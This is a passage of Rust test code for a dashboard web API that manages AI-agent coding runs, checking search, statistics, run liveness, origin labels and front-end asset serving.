10060 let text = format!("{}z", "a".repeat(119));
10062 let parts = snippet_of(&text, &["a".repeat(120)]);
10063 assert_eq!(hit_len(&parts), 0, "{parts:?}");
10064 }
10065
10066 #[tokio::test]
10067 async fn search_caps_hits_and_snippet_length() {
10068 let f = Fixture::start().await;
10069 let runs = f.runs();
10070 for n in 0..(SEARCH_MAX_HITS + 5) {
10071 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10072 }
10073 let v = f.get("/api/search?scope=runs&q=web").await.json();
10074 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10075 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10076 assert_eq!(v["truncated"], true);
10077 assert!(
10079 v["hits"]
10080 .as_array()
10081 .unwrap()
10082 .iter()
10083 .all(|h| h["run"]["status"] == "merged")
10084 );
10085
10086 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10087 let parts = snippet_of(&long, &["needle".to_owned()]);
10088 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10089 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10090 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10091 }
10092
10093 #[tokio::test]
10094 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10095 let f = Fixture::start().await;
10096 let queue = f.queue();
10097 let mut t = Task::new(
10098 "short title".to_owned(),
10099 "line one\nthe hidden Armadillo detail".to_owned(),
10100 PathBuf::from("/repo/magi"),
10101 Source::Agent {
10102 run: "r1".to_owned(),
10103 node: "chat".to_owned(),
10104 },
10105 );
10106 t.last_error = Some("disk full on /tmp".to_owned());
10107 queue.put(&mut t).expect("file the task");
10108
10109 for (q, want) in [
10110 ("armadillo", 1),
10111 ("disk%20FULL", 1),
10112 ("chat", 1),
10113 ("queued", 1),
10114 ("short%20nothing", 0),
10115 ] {
10116 let v = f
10117 .get(&format!("/api/search?scope=tasks&q={q}"))
10118 .await
10119 .json();
10120 assert_eq!(v["total"], want, "{q}: {v}");
10121 }
10122 for bad in [
10123 "/api/search?scope=tasks&q=",
10124 "/api/search?scope=tasks&q=%20",
10125 "/api/search?scope=chats&q=",
10126 "/api/search?scope=chats&q=%20",
10127 "/api/search?scope=nope&q=a",
10128 "/api/search?q=a",
10129 ] {
10130 assert_eq!(f.get(bad).await.status, 400, "{bad}");
10131 }
10132 }
10133
10134 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10136 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10137 .expect("seat value");
10138 let turns: Vec<serde_json::Value> = turns
10139 .iter()
10140 .map(|(who, body)| {
10141 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10142 })
10143 .collect();
10144 let doc = serde_json::json!({
10145 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10146 "status": status, "turns": turns,
10147 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10148 "seat": seat,
10149 });
10150 let dir = f.home.path().join("talks");
10151 std::fs::create_dir_all(&dir).expect("talks dir");
10152 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10153 }
10154
10155 #[tokio::test]
10156 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10157 let f = Fixture::start().await;
10158 write_talk(
10159 &f,
10160 "20260901-000001-aaaa",
10161 "open",
10162 &[
10163 (
10164 "operator",
10165 "\n Why does the Pangolin cache expire?\nsecond line",
10166 ),
10167 ("agent", "Because the TTL is thirty seconds."),
10168 ],
10169 );
10170 write_talk(
10171 &f,
10172 "20260901-000002-bbbb",
10173 "closed",
10174 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10175 );
10176 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10177
10178 let search = |q: &'static str| {
10179 let f = &f;
10180 async move {
10181 f.get(&format!("/api/search?scope=chats&q={q}"))
10182 .await
10183 .json()
10184 }
10185 };
10186
10187 let v = search("PANGOLIN").await;
10188 assert_eq!(v["scope"], "chats");
10189 assert_eq!(v["total"], 1, "{v}");
10190 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10191 assert_eq!(v["hits"][0]["field"], "title");
10192 assert_eq!(v["unreadable"], 1, "{v}");
10193 let marked: Vec<&str> = v["hits"][0]["snippet"]
10194 .as_array()
10195 .unwrap()
10196 .iter()
10197 .filter(|p| p["hit"] == true)
10198 .map(|p| p["text"].as_str().unwrap())
10199 .collect();
10200 assert_eq!(marked, ["Pangolin"]);
10201
10202 let v = search("zebra").await;
10204 assert_eq!(v["total"], 1, "{v}");
10205 assert_eq!(v["hits"][0]["field"], "agent");
10206 assert_eq!(search("pangolin%20thirty").await["total"], 1);
10208 assert_eq!(search("pangolin%20zebra").await["total"], 0);
10209 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10211 assert_eq!(search(q).await["total"], 0, "{q}");
10212 }
10213 assert_eq!(search("second").await["hits"][0]["field"], "operator");
10215 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10217
10218 let v = f.get("/api/search?scope=nope&q=a").await;
10219 assert_eq!(v.status, 400);
10220 assert!(
10221 v.body.contains("scope must be runs, tasks or chats"),
10222 "{}",
10223 v.body
10224 );
10225 }
10226
10227 #[test]
10228 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10229 let start = APP_JS
10230 .find("function scheduleSearch(")
10231 .expect("scheduleSearch exists");
10232 let body = &APP_JS[start..];
10233 let body = &body[..body.find("\n}\n").expect("function end")];
10234 assert!(body.contains("s.seq += 1"));
10235 }
10236
10237 #[tokio::test]
10242 async fn stats_runs_unreadable_matches_health() {
10243 let f = Fixture::start().await;
10244 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10245 let broken = f.runs().join("20260902-140502-bad");
10246 std::fs::create_dir_all(&broken).expect("run dir");
10247 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10248
10249 let stats = f.get("/api/stats").await;
10250 let health = f.get("/api/health").await;
10251
10252 assert_eq!(stats.status, 200);
10253 assert_eq!(stats.json()["totals"]["runs"], 1);
10254 assert_eq!(stats.json()["runs_unreadable"], 1);
10255 assert_eq!(
10256 stats.json()["runs_unreadable"],
10257 health.json()["runs_unreadable"],
10258 "the dashboard and /api/health must never disagree about how many \
10259 runs could not be read"
10260 );
10261 }
10262
10263 #[tokio::test]
10264 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10265 let f = Fixture::start().await;
10266 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10267 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10268 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10269
10270 let totals = &f.get("/api/stats").await.json()["totals"];
10271 assert_eq!(totals["runs"], 3);
10272 assert_eq!(totals["merged"], 1);
10273 assert_eq!(totals["stalled"], 1);
10274 assert_eq!(totals["in_progress"], 1);
10275 assert_eq!(totals["blocked"], 0);
10278 assert_eq!(totals["ready"], 0);
10279 }
10280
10281 #[tokio::test]
10282 async fn stats_advisors_report_proposals_and_reflection() {
10283 use crate::advise::{Advice, AdvisorRecord, Reflection};
10284 use crate::verdict::Proposal;
10285
10286 let f = Fixture::start().await;
10287 let mut state = RunState::new(
10288 PathBuf::from("/repo/magi"),
10289 "main".to_owned(),
10290 "0123456789abcdef".to_owned(),
10291 "task".to_owned(),
10292 Config::default(),
10293 );
10294 state.id = "20260902-140501-a".to_owned();
10295 state.status = RunStatus::Merged;
10296 state.advice = Some(Advice {
10297 records: vec![
10298 AdvisorRecord {
10299 seat: "advisor-1".to_owned(),
10300 agent: "alpha".to_owned(),
10301 proposal: Some(Proposal {
10302 approach: "do it".to_owned(),
10303 key_tradeoff: "speed over memory".to_owned(),
10304 risks: Vec::new(),
10305 touches: Vec::new(),
10306 why_not_naive: "breaks under load".to_owned(),
10307 }),
10308 error: None,
10309 duration_ms: 0,
10310 reflection: Reflection::Strong,
10311 },
10312 AdvisorRecord {
10313 seat: "advisor-2".to_owned(),
10314 agent: "alpha".to_owned(),
10315 proposal: None,
10316 error: Some("timed out".to_owned()),
10317 duration_ms: 0,
10318 reflection: Reflection::Absent,
10319 },
10320 ],
10321 synthesis: Some("blended brief".to_owned()),
10322 });
10323 let dir = f.runs().join(&state.id);
10324 std::fs::create_dir_all(&dir).expect("run dir");
10325 std::fs::write(
10326 dir.join("run.json"),
10327 serde_json::to_string_pretty(&state).expect("serialize run"),
10328 )
10329 .expect("write run.json");
10330
10331 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
10332 let alpha = advisors
10333 .as_array()
10334 .expect("an array")
10335 .iter()
10336 .find(|a| a["agent"] == "alpha")
10337 .expect("alpha row");
10338 assert_eq!(alpha["seated"], 2);
10339 assert_eq!(alpha["proposed"], 1);
10340 assert_eq!(alpha["absent"], 1);
10341 assert_eq!(alpha["strong"], 1);
10342 assert_eq!(alpha["faint"], 0);
10343 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
10344 }
10345
10346 #[tokio::test]
10347 async fn stats_release_bumps_split_clean_from_attention() {
10348 use crate::run::ReleaseBump;
10349
10350 let f = Fixture::start().await;
10351
10352 let mut clean = RunState::new(
10353 PathBuf::from("/repo/magi"),
10354 "main".to_owned(),
10355 "0123456789abcdef".to_owned(),
10356 "task".to_owned(),
10357 Config::default(),
10358 );
10359 clean.id = "20260902-140501-a".to_owned();
10360 clean.status = RunStatus::Merged;
10361 clean.release_bump = Some(ReleaseBump {
10362 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
10363 version: Some("1.0.0".to_owned()),
10364 automerge_enabled: true,
10365 merged_directly: false,
10366 problem: None,
10367 action_required: None,
10368 });
10369
10370 let mut blocked = RunState::new(
10371 PathBuf::from("/repo/magi"),
10372 "main".to_owned(),
10373 "0123456789abcdef".to_owned(),
10374 "task".to_owned(),
10375 Config::default(),
10376 );
10377 blocked.id = "20260902-140502-b".to_owned();
10378 blocked.status = RunStatus::Merged;
10379 blocked.release_bump = Some(ReleaseBump {
10380 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
10381 version: Some("1.0.1".to_owned()),
10382 automerge_enabled: false,
10383 merged_directly: false,
10384 problem: Some("checks red".to_owned()),
10385 action_required: Some("look at the PR".to_owned()),
10386 });
10387
10388 for state in [&clean, &blocked] {
10389 let dir = f.runs().join(&state.id);
10390 std::fs::create_dir_all(&dir).expect("run dir");
10391 std::fs::write(
10392 dir.join("run.json"),
10393 serde_json::to_string_pretty(state).expect("serialize run"),
10394 )
10395 .expect("write run.json");
10396 }
10397
10398 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10399 assert_eq!(bumps["merged"], 2);
10400 assert_eq!(bumps["recorded"], 2);
10401 assert_eq!(bumps["pr_opened"], 2);
10402 assert_eq!(bumps["automerge_enabled"], 1);
10403 assert_eq!(bumps["needs_attention"], 1);
10404 assert_eq!(bumps["clean"], 1);
10405 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
10406 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
10407 }
10408
10409 #[tokio::test]
10410 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
10411 let f = Fixture::start().await;
10412 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10413
10414 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10415 assert_eq!(bumps["merged"], 1);
10416 assert_eq!(bumps["recorded"], 0);
10417 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
10420 assert_eq!(bumps["automerge_rate"], Value::Null);
10423 assert_eq!(bumps["attention_rate"], Value::Null);
10424 }
10425
10426 #[tokio::test]
10427 async fn stats_queue_counts_come_from_the_live_queue() {
10428 let f = Fixture::start().await;
10429 let q = f.queue();
10430 let mut queued = Task::new(
10431 "queued task".to_owned(),
10432 "do it".to_owned(),
10433 PathBuf::from("/repo"),
10434 Source::Human,
10435 );
10436 q.put(&mut queued).expect("put queued");
10437 let mut held = Task::new(
10438 "held task".to_owned(),
10439 "do it later".to_owned(),
10440 PathBuf::from("/repo"),
10441 Source::Human,
10442 );
10443 held.hold_machine(Some("out of attempts".to_owned()));
10444 q.put(&mut held).expect("put held");
10445
10446 let queue = f.get("/api/stats").await.json()["queue"].clone();
10447 assert_eq!(queue["queued"], 1);
10448 assert_eq!(queue["held"], 1);
10449 assert_eq!(queue["running"], 0);
10450 assert_eq!(queue["done"], 0);
10451 assert_eq!(queue["failed"], 0);
10452 assert_eq!(queue["blocked"], 0);
10453 }
10454
10455 #[tokio::test]
10456 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
10457 let f = Fixture::start().await;
10458 let stats = f.get("/api/stats").await;
10459 assert_eq!(stats.status, 200);
10460 assert_eq!(stats.json()["totals"]["runs"], 0);
10461 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
10462 assert_eq!(stats.json()["runs_unreadable"], 0);
10463 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
10464 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
10465 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
10466 assert_eq!(stats.json()["repo"], Value::Null);
10467 }
10468
10469 #[tokio::test]
10470 async fn stats_lists_every_repository_with_runs_recorded() {
10471 let f = Fixture::start().await;
10472 write_run_repo(
10473 &f.runs(),
10474 "20260902-140501-a",
10475 RunStatus::Merged,
10476 "/repos/a",
10477 );
10478 write_run_repo(
10479 &f.runs(),
10480 "20260902-140502-b",
10481 RunStatus::Merged,
10482 "/repos/a",
10483 );
10484 write_run_repo(
10485 &f.runs(),
10486 "20260902-140503-c",
10487 RunStatus::Blocked,
10488 "/repos/b",
10489 );
10490
10491 let stats = f.get("/api/stats").await;
10492 assert_eq!(stats.status, 200);
10493 assert_eq!(stats.json()["totals"]["runs"], 3);
10495 assert_eq!(stats.json()["repo"], Value::Null);
10496
10497 let repos = stats.json()["repos"].clone();
10498 let repos = repos.as_array().unwrap();
10499 assert_eq!(repos.len(), 2);
10500 assert_eq!(repos[0]["repo"], "/repos/a");
10502 assert_eq!(repos[0]["name"], "a");
10503 assert_eq!(repos[0]["runs"], 2);
10504 assert_eq!(repos[1]["repo"], "/repos/b");
10505 assert_eq!(repos[1]["runs"], 1);
10506 }
10507
10508 #[tokio::test]
10509 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
10510 let f = Fixture::start().await;
10511 write_run_repo(
10512 &f.runs(),
10513 "20260902-140501-a",
10514 RunStatus::Merged,
10515 "/repos/a",
10516 );
10517 write_run_repo(
10518 &f.runs(),
10519 "20260902-140502-b",
10520 RunStatus::Blocked,
10521 "/repos/b",
10522 );
10523
10524 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
10525 assert_eq!(stats.status, 200);
10526 assert_eq!(stats.json()["totals"]["runs"], 1);
10527 assert_eq!(stats.json()["totals"]["merged"], 1);
10528 assert_eq!(stats.json()["repo"], "/repos/a");
10529 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
10532 assert_eq!(stats.json()["runs_unreadable"], 0);
10535 }
10536
10537 #[tokio::test]
10538 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
10539 let f = Fixture::start().await;
10540 write_run_repo(
10541 &f.runs(),
10542 "20260902-140501-a",
10543 RunStatus::Merged,
10544 "/repos/a",
10545 );
10546
10547 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
10548 assert_eq!(stats.status, 404);
10549 }
10550
10551 #[tokio::test]
10552 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
10553 let f = Fixture::start().await;
10554 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
10555
10556 let summary = f.get("/api/runs").await.json();
10557 let row = &summary[0];
10558 assert_eq!(row["short"], "a1b2");
10559 assert_eq!(row["status"], "ready");
10560 assert_eq!(row["done"], true);
10561 assert_eq!(row["title"], "Add a web UI");
10562 assert_eq!(row["repo_name"], "magi");
10563 assert_eq!(row["judges"], 3);
10564 assert_eq!(row["winner"], Value::Null);
10565 assert_eq!(row["reviews"], 0);
10566
10567 let detail = f.get("/api/runs/a1b2").await;
10570 assert_eq!(detail.status, 200);
10571 assert_eq!(detail.json()["base_branch"], "main");
10572 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
10573 }
10574
10575 #[tokio::test]
10583 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
10584 let f = Fixture::start().await;
10585
10586 let mut none_run = RunState::new(
10587 PathBuf::from("/repo/magi"),
10588 "main".to_owned(),
10589 "0123456789abcdef".to_owned(),
10590 "Add a web UI".to_owned(),
10591 Config::default(),
10592 );
10593 none_run.id = "20260902-140503-none".to_owned();
10594 none_run.status = RunStatus::Ready;
10595 none_run.merge = Some(crate::run::MergeOutcome {
10596 mode: crate::config::MergeMode::None,
10597 ok: true,
10598 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
10599 empty: false,
10600 });
10601 write_state(&f.runs(), &none_run);
10602
10603 let mut pr_run = RunState::new(
10604 PathBuf::from("/repo/magi"),
10605 "main".to_owned(),
10606 "0123456789abcdef".to_owned(),
10607 "Add a web UI".to_owned(),
10608 Config::default(),
10609 );
10610 pr_run.id = "20260902-140504-prcl".to_owned();
10611 pr_run.status = RunStatus::Ready;
10612 pr_run.merge = Some(crate::run::MergeOutcome {
10613 mode: crate::config::MergeMode::Pr,
10614 ok: false,
10615 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
10616 empty: false,
10617 });
10618 write_state(&f.runs(), &pr_run);
10619
10620 let summary = f.get("/api/runs").await.json();
10621 let rows: std::collections::HashMap<&str, &Value> = summary
10622 .as_array()
10623 .expect("an array")
10624 .iter()
10625 .map(|r| (r["id"].as_str().expect("an id"), r))
10626 .collect();
10627 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
10628 assert_eq!(
10629 rows[none_run.id.as_str()]["unmerged_by_design"],
10630 true,
10631 "a mode-none Ready must be flagged in the list"
10632 );
10633 assert_eq!(
10634 rows[pr_run.id.as_str()]["unmerged_by_design"],
10635 false,
10636 "a Ready reached by a closed pull request is a different case"
10637 );
10638
10639 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
10640 assert_eq!(none_detail["status"], "ready");
10641 assert_eq!(none_detail["unmerged_by_design"], true);
10642
10643 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
10644 assert_eq!(pr_detail["unmerged_by_design"], false);
10645 }
10646
10647 #[tokio::test]
10652 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
10653 let f = Fixture::start().await;
10654 let id = "20260902-140502-bbbb";
10658 let mut state = RunState::new(
10659 PathBuf::from("/repo/magi"),
10660 "main".to_owned(),
10661 "0123456789abcdef".to_owned(),
10662 "Add a web UI".to_owned(),
10663 Config::default(),
10664 );
10665 state.id = id.to_owned();
10666 state.status = RunStatus::Judging;
10667 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
10668 let dir = f.runs().join(id);
10669 std::fs::create_dir_all(&dir).expect("run dir");
10670 std::fs::write(
10671 dir.join("run.json"),
10672 serde_json::to_string_pretty(&state).expect("serialize run"),
10673 )
10674 .expect("write run.json");
10675
10676 let cold = f.get(&format!("/api/runs/{id}")).await.json();
10682 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
10683 assert_eq!(cold["live"], "unknown", "{cold}");
10684
10685 write_daemon(f.home.path(), Timestamp::now());
10688 let warm = f.get(&format!("/api/runs/{id}")).await.json();
10689 assert_eq!(warm["live"], "live", "{warm}");
10690 }
10691
10692 #[tokio::test]
10695 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
10696 let f = Fixture::start().await;
10697 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
10698 let mut state = RunState::new(
10699 PathBuf::from("/repo/magi"),
10700 "main".to_owned(),
10701 "0123456789abcdef".to_owned(),
10702 "Add a web UI".to_owned(),
10703 Config::default(),
10704 );
10705 state.id = id.to_owned();
10706 state.origin = origin;
10707 let mut value = serde_json::to_value(&state).expect("serialize run");
10708 if let Some(schema) = schema {
10709 value["schema"] = serde_json::json!(schema);
10710 value.as_object_mut().unwrap().remove("origin");
10711 }
10712 let dir = f.runs().join(id);
10713 std::fs::create_dir_all(&dir).expect("run dir");
10714 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
10715 };
10716 write(
10717 "20260930-092817-ec34",
10718 Some(crate::run::Origin::from_agent_env(
10719 Some(("4a7b".to_owned(), "chat".to_owned())),
10720 None,
10721 )),
10722 None,
10723 );
10724 write("20260930-092817-0ld1", None, Some(12));
10725
10726 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
10727 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
10728 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
10729
10730 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
10731 assert_eq!(
10732 old["origin_label"], "origin unknown (started before origins were recorded)",
10733 "{old}"
10734 );
10735 assert!(old["origin"].is_null(), "{old}");
10736
10737 let list = f.get("/api/runs").await.json();
10738 let labels: Vec<_> = list
10739 .as_array()
10740 .unwrap()
10741 .iter()
10742 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
10743 .collect();
10744 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
10745 }
10746
10747 #[tokio::test]
10754 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
10755 let f = Fixture::start().await;
10756 let id = "20260922-090000-cccc";
10757 let mut state = RunState::new(
10758 PathBuf::from("/repo/magi"),
10759 "main".to_owned(),
10760 "0123456789abcdef".to_owned(),
10761 "Review only".to_owned(),
10762 Config::default(),
10763 );
10764 state.id = id.to_owned();
10765 state.status = RunStatus::Reviewing;
10766 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
10767 state.driver_pid = Some(std::process::id());
10773 state.driver_started_at = Some(
10774 crate::proc::process_started_at(std::process::id())
10775 .expect("this test process's own start time must be queryable"),
10776 );
10777 let dir = f.runs().join(id);
10778 std::fs::create_dir_all(&dir).expect("run dir");
10779 std::fs::write(
10780 dir.join("run.json"),
10781 serde_json::to_string_pretty(&state).expect("serialize run"),
10782 )
10783 .expect("write run.json");
10784
10785 let detail = f.get(&format!("/api/runs/{id}")).await.json();
10786 assert_eq!(detail["live"], "live", "{detail}");
10787 }
10788
10789 #[tokio::test]
10795 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
10796 let f = Fixture::start().await;
10797 let id = "20260922-090100-dddd";
10798 let mut state = RunState::new(
10799 PathBuf::from("/repo/magi"),
10800 "main".to_owned(),
10801 "0123456789abcdef".to_owned(),
10802 "Review only".to_owned(),
10803 Config::default(),
10804 );
10805 state.id = id.to_owned();
10806 state.status = RunStatus::Reviewing;
10807 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
10808 state.driver_pid = Some(std::process::id());
10813 state.driver_started_at = Some("1".to_owned());
10814 let dir = f.runs().join(id);
10815 std::fs::create_dir_all(&dir).expect("run dir");
10816 std::fs::write(
10817 dir.join("run.json"),
10818 serde_json::to_string_pretty(&state).expect("serialize run"),
10819 )
10820 .expect("write run.json");
10821
10822 let detail = f.get(&format!("/api/runs/{id}")).await.json();
10823 assert_eq!(detail["live"], "dead", "{detail}");
10824 }
10825
10826 #[test]
10830 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
10831 let mk = |id: &str, pid: Option<u32>| {
10832 let mut s = RunState::new(
10833 PathBuf::from("/repo/magi"),
10834 "main".to_owned(),
10835 "0123456789abcdef".to_owned(),
10836 "Add a web UI".to_owned(),
10837 Config::default(),
10838 );
10839 s.id = id.to_owned();
10840 s.driver_pid = pid;
10841 s.driver_started_at = Some("1790000000".to_owned());
10842 s
10843 };
10844 let states = vec![
10845 mk("20260902-140502-aaaa", Some(77)),
10846 mk("20260902-140502-bbbb", Some(77)),
10847 mk("20260902-140502-cccc", Some(77)),
10848 mk("20260902-140502-dddd", None),
10849 ];
10850 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
10851 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
10852 let sup: HashMap<String, String> = [(
10853 "20260902-140502-aaaa".to_owned(),
10854 "20260902-140502-cccc".to_owned(),
10855 )]
10856 .into();
10857
10858 let status_calls = std::cell::Cell::new(0);
10859 let identity_calls = std::cell::Cell::new(0);
10860 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
10861 |_| {
10862 status_calls.set(status_calls.get() + 1);
10863 Some(true)
10864 },
10865 |_| {
10866 identity_calls.set(identity_calls.get() + 1);
10867 Some("1790000000".to_owned())
10868 },
10869 ));
10870 let rows = summarize(
10871 states,
10872 &open,
10873 &claimed,
10874 &sup,
10875 |p| probe.borrow_mut().status(p),
10876 |p| probe.borrow_mut().started_at(p),
10877 );
10878
10879 assert_eq!(status_calls.get(), 1, "one pid, one status query");
10880 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
10881 assert_eq!(rows.len(), 4);
10882 assert!(!rows[0].waiting && rows[1].waiting);
10883 assert_eq!(rows[0].live, crate::run::Liveness::Live);
10884 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
10885 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
10886 assert_eq!(rows[1].superseded_by, None);
10887 }
10888
10889 #[test]
10890 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
10891 let mut state = RunState::new(
10892 PathBuf::from("/repo/magi"),
10893 "main".to_owned(),
10894 "0123456789abcdef".to_owned(),
10895 "Review only".to_owned(),
10896 Config::default(),
10897 );
10898 state.id = "20260922-090200-dead".to_owned();
10899 state.status = RunStatus::Reviewing;
10900 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
10901 .expect("serialize list row");
10902 assert_eq!(row["status"], "reviewing");
10903 assert_eq!(row["live"], "dead", "{row}");
10904 assert!(!row["done"].as_bool().unwrap());
10905 }
10906
10907 #[tokio::test]
10908 async fn the_run_list_is_newest_first_and_honours_a_limit() {
10909 let f = Fixture::start().await;
10910 for id in [
10911 "20260902-140501-aaaa",
10912 "20260902-140502-bbbb",
10913 "20260902-140503-cccc",
10914 ] {
10915 write_run(&f.runs(), id, RunStatus::Merged);
10916 }
10917
10918 let all = f.get("/api/runs").await.json();
10919 let capped = f.get("/api/runs?limit=2").await.json();
10920
10921 assert_eq!(all[0]["id"], "20260902-140503-cccc");
10922 assert_eq!(all.as_array().map(Vec::len), Some(3));
10923 assert_eq!(capped.as_array().map(Vec::len), Some(2));
10924 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
10925 }
10926
10927 #[tokio::test]
10928 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
10929 let f = Fixture::start().await;
10930 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
10931
10932 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
10933
10934 assert_eq!(res.status, 200);
10935 assert!(
10936 res.headers
10937 .contains("content-type: text/plain; charset=utf-8"),
10938 "a browser must render it, not download it: {}",
10939 res.headers
10940 );
10941 assert!(
10945 res.body.contains("20260902-140501-a1b2"),
10946 "the report is about the run that was asked for: {}",
10947 res.body
10948 );
10949 }
10950
10951 #[tokio::test]
10952 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
10953 let f = Fixture::start().await;
10954
10955 let html = f.get("/").await;
10956 let css = f.get("/app.css").await;
10957 let js = f.get("/app.js").await;
10958
10959 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
10960 assert!(
10961 html.headers
10962 .contains("content-type: text/html; charset=utf-8")
10963 );
10964 assert!(css.headers.contains("content-type: text/css"));
10965 assert!(js.headers.contains("content-type: text/javascript"));
10966 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
10967 }
10968
10969 #[test]
10970 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
10971 let body = |name: &str| {
10972 let at = APP_JS
10973 .find(name)
10974 .unwrap_or_else(|| panic!("{name} missing"));
10975 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
10976 };
10977 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
10978 let note = body("function landRoundNote");
10979 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
10980 assert!(note.contains("Land round ${round}"));
10981 let land = body("function renderLand");
10982 let note_at = land
10983 .find("landRoundNote(pr)")
10984 .expect("renderLand uses the note");
10985 assert!(
10986 note_at
10987 < land
10988 .find("roundRail(pr)")
10989 .expect("renderLand uses the rail")
10990 );
10991 }
10992
10993 #[test]
10994 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
10995 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
10996 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
10997 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
10998 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
10999 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11000 assert!(APP_JS.contains("unreadable` : null"));
11002 }
11003
11004 #[test]
11005 fn the_run_detail_payload_says_whether_the_run_is_done() {
11006 for (status, done) in [
11008 (RunStatus::Superseded, true),
11009 (RunStatus::Blocked, true),
11010 (RunStatus::Landing, false),
11011 ] {
11012 let mut state = RunState::new(
11013 std::path::PathBuf::from("/repo"),
11014 "main".to_owned(),
